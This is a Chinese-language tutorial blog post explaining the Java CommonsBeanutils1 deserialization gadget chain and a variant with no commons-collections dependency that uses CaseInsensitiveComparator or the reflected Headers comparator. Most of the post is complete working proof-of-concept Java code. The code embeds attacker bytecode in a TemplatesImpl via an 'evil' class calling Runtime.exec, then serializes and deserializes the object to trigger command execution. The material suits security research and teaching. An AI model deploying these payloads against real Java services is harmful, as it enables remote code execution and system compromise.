首页 > 其他分享 >cb链子与无依赖cc构造学习

cb链子与无依赖cc构造学习

时间:2023-10-06 11:56:15浏览次数:39  
标签:obj comparator cc cb Object 链子 new public BeanComparator

本文默认你已经学习了cc链子

依赖于cc链的构造

这是cc链子中使用字节码来进执行任意命令的利用链子.

PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                                Method.invoke()
                                    TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

TransformingComparator和InvokerTransformer都是cc链中所特有的.那么我们的目标即找到一个类的compare()方法可以调用到TemplatesImpl的newTransformer()方法.但我们注意到TemplatesImpl的 getOutputProperties()方法本身就调用了newTransformer()方法.

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

那么我们的目标就寻找调用了 getOutputProperties()的方法.同时观察getOutputProperties方法名,这是一个javaben类的属性获取方法.同时

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如

PropertyUtils.getProperty(new Cat(), "name");

那么我们找commons-beanutils中存在的compare()方法.在BeanComparator类中存在compare方法.

public int compare( final T o1, final T o2 ) {

        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            final Object value1 = PropertyUtils.getProperty( o1, property );
            final Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }

那么我们的思路就打通了,通过BeanComparator类中存在的compare方法实现直接对getOutputProperties()方法的调用.

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.class.getName());
        byte[] code =clazz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "gk0d");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        Queue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
public class evil extends AbstractTranslet {
    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    public evil() throws Exception {
        String[] var1 = new String[]{"cfw"};
        Runtime.getRuntime().exec(var1);
    }
}

但是这个还是依赖于cc链的,因为我们如果初始化的参数如果为null,就会调用cc链中的ComparableComparator类.

import org.apache.commons.collections.comparators.ComparableComparator;

public class BeanComparator implements Comparator, Serializable {
    private String property;
    private Comparator comparator;

    public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

那么我们寻找一下ComparableComparator的最终逻辑处理类.

public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

无依赖于cc链的构造

那么这个comparator的要求就明确了

  • 实现 java.util.Comparator接口(Comparator comparator)
  • 实现java.io.Serializable接口(要进行序列化)
  • Java,或commons-beanutils自带

经过一个简单查找即可发现CaseInsensitiveComparator类,且可以通过CASE_INSENSITIVE_ORDER获取.

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability

同时还有其他很多的类我们可以利用如

 private static final InsensitiveComparator INSTANCE = new InsensitiveComparator();
 private static final class InsensitiveComparator implements Comparator<String>, Serializable {

使用反射获取后也是可以利用的

最终poc

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import com.sun.xml.internal.ws.transport.Headers;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;


public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Comparator getValue(Object instance) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = instance.getClass();

        // 获取私有变量的Field对象
        Field privateField = clazz.getDeclaredField("INSTANCE");

        // 设置私有变量的访问权限
        privateField.setAccessible(true);

        // 获取私有变量的值
        Object value = privateField.get(instance);
        return (Comparator) value;
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.class.getName());
        byte[] code =clazz.toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "gk0d");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //BeanComparator comparator = new BeanComparator();
        final BeanComparator comparator = new BeanComparator(null, getValue(new Headers()));
        Queue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

调用链

标签:obj,comparator,cc,cb,Object,链子,new,public,BeanComparator
From: https://www.cnblogs.com/Ho1dF0rward/p/17744388.html

相关文章

  • 洛谷 P7830 [CCO2021] Through Another Maze Darkly
    洛谷传送门被联考创出shit了。考虑一种极限情况:每个点指向父亲。那么这种情况我们会顺着欧拉序完整地把整棵树都走一遍。但是初始的时候不一定每个点都指向父亲。发现我们走过\(O(n^2)\)步就能到达上面的极限情况。比较显然,因为每次扩展至少使一个点从不指向父亲变成指向父......
  • 记录一次gcc的编译
    在deepin23上编译gcc13.2deepin20素以软件版本过老被人诟病,换成最新的deepin23之后情况大有好转,但是gcc版本为11.2,鄙人对此仍有意见,所以特意研究了如何编译一份较新的gcc来用。1.下载源码包http://mirrors.ustc.edu.cn/gnu/gcc/我相关在中科大镜像站下载东西,选择13.2版本的压......
  • 【竞赛图】【DP】ARC163D Sum of SCC 题解
    ARC163D发现这个竞赛图一定能被分为两个集合\(A\),\(B\)。满足\(\forallu\inA,v\inB\),均有\(u\tov\inE\)。答案就是划分这两个集合的方案数。证明:首先,竞赛图缩完点后一定是一条链,对强连通分量进行标号,满足编号小的强连通分量指向编号大的强连通分量。不妨令竞赛图\(G\)......
  • 【字符串】【哈希】ABC284F ABCBAC 题解
    ABC284F这题的正解是\(Z\)函数。如果\(str=T+T\)的话,若可以找到连续的分别长为\(n\)的两段,且这两段可通过\(1\)次翻转变为相同的字符串,那么便一定有解,否则无解。暴力判断是\(\mathcal{O}(n)\)的,时间复杂度直接上天。可以用哈希\(\mathcal{O}(1)\)地判断出两个......
  • JUC工具类CountDownLatch、CyclicBarrier、Semaphore介绍
    CountDownLatch:它是一种同步工具,用于控制一个或多个线程等待其他线程完成操作后再继续执行。它的作用是让某个线程等待一组操作执行完成,再继续执行自己的任务。CountDownLatch内部有一个计数器,当计数器的值为0时,等待的线程将会被唤醒。通过CountDownLatch的构造函数可以指定计......
  • asp.net mvc Core 网页错误提示:An unhandled exception occurred while processing th
    网页错误提示:Anunhandledexceptionoccurredwhileprocessingtherequest.InvalidOperationException:Theentitytype'IdentityUserLogin<string>'requiresaprimarykeytobedefined.Ifyouintendedtouseakeylessentitytype,call'Has......
  • 堡垒机AccessClient插件在Mac苹果电脑闪退,已解决
    我的配置:Macmini,AppleM2,MacOS版本13.4(22F66)先来总结我的方案:1.安装Python3;2.修改main.scpt并生效;3.看指定输出的日志提示什么;4.最后需要安装MicrosoftRemoteDesktopforMac。最初的解决方案:https://www.zhihu.com/question/435060483改了日志输出位置,查看日志,找不对具......
  • 题解 accoders::NOI 5510【飞翔的胖鸟(fly)】
    题解accoders::NOI5510【飞翔的胖鸟(fly)】problem求\(f(x)=\frac{ah}{\sin(x)}+bx\)在\((0,\frac\pi2]\)上的最小值。solution\(\sin'(x)=cos(x);\cos'(x)=-\sin(x)\)。\((f(x)\cdotg(x))'=f'(x)g(x)+f(x)g'(x)\)。\(\left(\dfrac{f......
  • 题解 accoders::NOI 5508【漂亮大厨(cook)】
    题解accoders::NOI5508【漂亮大厨(cook)】part1区间加\(x\),区间询问有多少个数字\(\leqy\)。\(n,m\leq10^5,x\leq200,y\leq10^7\)。考虑P5356[Ynoi2017]由乃打扑克的做法,分块,块内按照值排序。修改就整块打tag,散块暴力重构(可以归并排序重构);询问在整块上二分,散块暴力......
  • 关于 Failed to bind properties under 'sky.alioss.access-key-id' to java.lang.Str
    问题描述废话不多说,上截图解决方案问题出现的原因:因为自己没有按照格式去运行程序,在yml中把他们得位置向前一个单位就解决问题了......